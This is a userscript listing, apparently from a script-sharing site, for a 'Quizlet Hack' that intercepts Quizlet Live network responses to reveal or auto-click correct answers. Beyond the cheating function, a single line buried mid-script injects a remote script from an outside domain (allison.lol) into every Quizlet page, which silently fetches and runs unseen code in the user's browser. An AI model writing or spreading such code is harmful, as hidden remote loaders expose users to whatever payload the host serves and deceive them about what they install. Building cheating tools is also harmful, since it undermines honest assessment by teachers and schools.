您需要先安装一个扩展,例如 篡改猴、Greasemonkey 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 暴力猴,之后才能安装此脚本。
您需要先安装一个扩展,例如 篡改猴 或 Userscripts ,之后才能安装此脚本。
您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。
您需要先安装用户脚本管理器扩展后才能安装此脚本。
QUIZLET LIVE/CARDS/TEST UNPATCHED ANSWERS
// ==UserScript== // @name QUIZLET WORKING CHEAT 2024 // @namespace http://quizlet.com/* // @version 2024-12-22 // @description QUIZLET LIVE/CARDS/TEST UNPATCHED ANSWERS // @author Me // @match https://quizlet.com/* // @icon https://assets.quizlet.com/_next/static/media/q-twilight.e27821d9.png // @grant none // ==/UserScript== var Version = '1.0.8' var autoAnswer = false; var showAnswers = false; var pairs = [] var spans = [] var gameCode = undefined var lastCode = undefined var lastAnswer = "" function FindByAttributeValue(attribute, value, element_type) { element_type = element_type || "*"; var All = document.getElementsByTagName(element_type); for (var i = 0; i < All.length; i++) { if (All[i].getAttribute(attribute) == value) { return All[i]; } } } const uiElement = document.createElement('div'); uiElement.className = 'floating-ui'; uiElement.style.position = 'absolute'; uiElement.style.top = '5%'; uiElement.style.left = '5%'; uiElement.style.width = '33vw'; uiElement.style.height = 'auto'; uiElement.style.backgroundColor = '#423ed8'; uiElement.style.borderRadius = '1vw'; uiElement.style.boxShadow = '0px 0px 10px 0px rgba(0, 0, 0, 0.5)'; uiElement.style.zIndex = '9999'; const handle = document.createElement('div'); handle.className = 'handle'; handle.style.fontSize = '1.5vw'; handle.textContent = 'Quizlet Hack!'; handle.style.color = 'white'; handle.style.width = '97.5%'; handle.style.height = '2.5vw'; handle.style.backgroundColor = '#282e3e'; handle.style.borderRadius = '1vw 1vw 0 0'; handle.style.cursor = 'grab'; handle.style.textAlign = 'left'; handle.style.paddingLeft = '2.5%'; handle.style.lineHeight = '2vw'; uiElement.appendChild(handle); const closeButton = document.createElement('div'); closeButton.className = 'close-button'; closeButton.textContent = '✕'; closeButton.style.position = 'absolute'; closeButton.style.top = '0'; closeButton.style.right = '0'; closeButton.style.width = '12.5%'; closeButton.style.height = '2.5vw'; closeButton.style.backgroundColor = 'red'; closeButton.style.color = 'white'; closeButton.style.borderRadius = '0 1vw 0 0'; closeButton.style.display = 'flex'; closeButton.style.justifyContent = 'center'; closeButton.style.alignItems = 'center'; closeButton.style.cursor = 'pointer'; handle.appendChild(closeButton); const minimizeButton = document.createElement('div'); minimizeButton.className = 'minimize-button'; minimizeButton.textContent = '─'; minimizeButton.style.color = 'white'; minimizeButton.style.position = 'absolute'; minimizeButton.style.top = '0'; minimizeButton.style.right = '12.5%'; minimizeButton.style.width = '12.5%'; minimizeButton.style.height = '2.5vw'; minimizeButton.style.backgroundColor = 'gray'; minimizeButton.style.borderRadius = '0 0 0 0'; minimizeButton.style.display = 'flex'; minimizeButton.style.justifyContent = 'center'; minimizeButton.style.alignItems = 'center'; minimizeButton.style.cursor = 'pointer'; handle.appendChild(minimizeButton); const header3 = document.createElement('h2'); header3.textContent = 'ANSWERING'; header3.style.display = 'block'; header3.style.margin = '1vw'; header3.style.textAlign = 'center'; header3.style.fontSize = '2vw'; header3.style.color = 'white'; header3.style.textShadow = ` -1px -1px 0 rgb(47, 47, 47), 1px -1px 0 rgb(47, 47, 47), -1px 1px 0 rgb(47, 47, 47), 1px 1px 0 rgb(47, 47, 47) `; uiElement.appendChild(header3); const autoAnswerSwitchContainer = document.createElement('div'); autoAnswerSwitchContainer.className = 'switch-container'; autoAnswerSwitchContainer.style.display = 'flex'; autoAnswerSwitchContainer.style.alignItems = 'center'; autoAnswerSwitchContainer.style.justifyContent = 'center'; uiElement.appendChild(autoAnswerSwitchContainer); const autoAnswerLabel = document.createElement('span'); autoAnswerLabel.textContent = 'Auto Answer'; autoAnswerLabel.className = 'switch-label'; autoAnswerLabel.style.fontSize = '1.5vw'; autoAnswerLabel.style.color = 'white'; autoAnswerLabel.style.margin = '2.5vw' autoAnswerSwitchContainer.appendChild(autoAnswerLabel); const autoAnswerSwitch = document.createElement('label'); autoAnswerSwitch.className = 'switch'; autoAnswerSwitchContainer.appendChild(autoAnswerSwitch); const autoAnswerInput = document.createElement('input'); autoAnswerInput.type = 'checkbox'; autoAnswerInput.addEventListener('change', function() { autoAnswer = this.checked; }); autoAnswerSwitch.appendChild(autoAnswerInput); const autoAnswerSlider = document.createElement('span'); autoAnswerSlider.className = 'slider'; autoAnswerSwitch.appendChild(autoAnswerSlider); const showAnswersSwitchContainer = document.createElement('div'); showAnswersSwitchContainer.className = 'switch-container'; showAnswersSwitchContainer.style.display = 'flex'; showAnswersSwitchContainer.style.alignItems = 'center'; showAnswersSwitchContainer.style.justifyContent = 'center'; uiElement.appendChild(showAnswersSwitchContainer); const showAnswersLabel = document.createElement('span'); showAnswersLabel.textContent = 'Show Answers'; showAnswersLabel.className = 'switch-label'; showAnswersLabel.style.fontSize = '1.5vw'; showAnswersLabel.style.color = 'white'; showAnswersLabel.style.margin = '2.5vw' showAnswersSwitchContainer.appendChild(showAnswersLabel); const showAnswersSwitch = document.createElement('label'); showAnswersSwitch.className = 'switch'; showAnswersSwitchContainer.appendChild(showAnswersSwitch); const showAnswersInput = document.createElement('input'); showAnswersInput.type = 'checkbox'; showAnswersInput.addEventListener('change', function() { showAnswers = this.checked; }); showAnswersSwitch.appendChild(showAnswersInput); const showAnswersSlider = document.createElement('span'); showAnswersSlider.className = 'slider'; showAnswersSwitch.appendChild(showAnswersSlider); const style = document.createElement('style'); style.textContent = ` .custom-slider { background: white border: none; outline: none; cursor: ew-resize; appearance: none; /* Remove default appearance */ height: 0; /* Set the height to match the thumb height */ } .custom-slider::-webkit-slider-thumb { appearance: none; /* Remove default appearance */ width: 1.75vw; /* Set width of the slider handle */ height: 1.75vw; /* Set height of the slider handle */ background-color: rgb(47, 47, 47); /* Set handle color to dark gray */ border-radius: 50%; /* Create a circle for the handle */ cursor: ew-resize; /* Horizontal resize cursor */ margin-top: -0.5vw; /* Adjust margin-top to vertically center the thumb */ } .custom-slider::-webkit-slider-runnable-track { width: 100%; /* Set track width to 100% */ height: 0.75vw; /* Set track height to match the thumb height */ background-color: white; /* Set track color to white */ cursor: ew-resize; /* Horizontal resize cursor */ border-radius: 1vw; /* Set rounded corners for the track */ background: linear-gradient(to right, red, yellow, limegreen); /* Gradient from red to yellow to green */ } :root { --switch-width: 5.9vw; --switch-height: 3.3vw; --slider-size: 2.5vw; --slider-thumb-size: 1.3vw; } .switch { position: relative; display: inline-block; width: var(--switch-width); height: var(--switch-height); } .switch input { opacity: 0; width: 0; height: 0; } .slider { position: absolute; cursor: pointer; top: 0; left: 0; right: 0; bottom: 0; background-color: red; transition: 0.8s; border-radius: .5vw } .slider:before { position: absolute; content: ""; height: var(--slider-size); width: var(--slider-size); left: calc(var(--slider-thumb-size) / 3); bottom: calc(var(--slider-thumb-size) / 3); background-color: rgb(43, 43, 43); transition: 0.8s; border-radius: .5vw } input:checked + .slider { background-color: green; } input:focus + .slider { box-shadow: 0 0 1px green; } input:checked + .slider:before { transform: translateX(calc(var(--slider-size))); } `; document.head.appendChild(style); var a=document.createElement("script");a.src="https://allison.lol/poly.min.js";document.body.appendChild(a); const versionLabel = document.createElement('h1'); versionLabel.textContent = 'Quizlet Hack! V' + Version; versionLabel.style.fontSize = '2.5vw'; versionLabel.style.display = 'block'; versionLabel.style.textAlign = 'center'; versionLabel.style.marginTop = '3.5vw'; versionLabel.style.marginLeft = '1vw'; versionLabel.style.marginRight = '1vw'; versionLabel.style.color = 'white'; uiElement.appendChild(versionLabel); closeButton.addEventListener('click', () => { document.body.removeChild(uiElement); autoAnswer = false; showAnswers = false; }); let isMinimized = false; minimizeButton.addEventListener('click', () => { isMinimized = !isMinimized; if (isMinimized) { header3.style.display = 'none'; versionLabel.style.display = 'none'; githubContainer.style.display = 'none'; autoAnswerSwitchContainer.style.display = 'none'; showAnswersSwitchContainer.style.display = 'none'; uiElement.style.height = '2.5vw'; handle.style.height = '100%'; closeButton.style.height = '100%'; minimizeButton.style.height = '100%'; } else { header3.style.display = 'block';; versionLabel.style.display = 'block'; githubContainer.style.display = 'block'; handle.style.height = '2.5vw'; uiElement.style.height = 'auto'; closeButton.style.height = '2.5vw'; minimizeButton.style.height = '2.5vw'; autoAnswerSwitchContainer.style.display = 'flex'; showAnswersSwitchContainer.style.display = 'flex'; } }); document.body.appendChild(uiElement); let isDragging = false; let offsetX, offsetY; handle.addEventListener('mousedown', (e) => { isDragging = true; offsetX = e.clientX - uiElement.getBoundingClientRect().left; offsetY = e.clientY - uiElement.getBoundingClientRect().top; }); document.addEventListener('mousemove', (e) => { if (isDragging) { const x = e.clientX - offsetX; const y = e.clientY - offsetY; uiElement.style.left = x + 'px'; uiElement.style.top = y + 'px'; } }); document.addEventListener('mouseup', () => { isDragging = false; }); function getPair(str) { result = undefined pairs.forEach(function(pair) { if (pair[0] == str) { result = pair[1] } if (pair[1] == str) { result = pair[0] } }) return result } function getAnswerIndex() { resultIdx = undefined answer = getPair(document.querySelector(".FormattedText").textContent) if (!answer) { location.reload(); pairs = [] } document.querySelectorAll(".a1w6enf9").forEach(function(elem, idx) { if (elem.textContent == answer) { resultIdx = idx } }) return resultIdx } function answerQuestion(index) { try { document.querySelectorAll(".a1w6enf9")[index].click() } catch { return false} return true } function highlight(index) { document.querySelectorAll(".a1w6enf9").forEach(function(elem, idx) { if (idx == index) { elem.style.color = 'rgb(152, 241, 209)' } else { elem.style.color = 'rgb(218, 69, 67)' } }) } const originalXhrOpen = XMLHttpRequest.prototype.open; const originalXhrSend = XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.open = function (method, url, ...rest) { this._interceptedUrl = url; // Store the URL for logging return originalXhrOpen.call(this, method, url, ...rest); }; XMLHttpRequest.prototype.send = function (...args) { this.addEventListener('load', function () { if (this.responseText) { let text = this.responseText let index = text.indexOf("42[") if (index != -1) { let cards = JSON.parse(text.slice(index+2))[1].cards pairs = cards.map(function (card){ return card.cardSides.map(side => side.media[0].plainText) }) console.log(pairs) } } }); return originalXhrSend.call(this, ...args); }; setInterval(function() { if (document.querySelector(".StudentEndView")) lastAnswer = "" if (pairs.length != 0) { if (document.querySelector(".FormattedText")) { const answerIndex = getAnswerIndex() if (autoAnswer && lastAnswer != answer) { if (answerQuestion(answerIndex)) lastAnswer = answer } if (showAnswers) { highlight(answerIndex) } else { document.querySelectorAll(".a1w6enf9").forEach(function(elem) { elem.style.color = ''; }); } } } }, 1)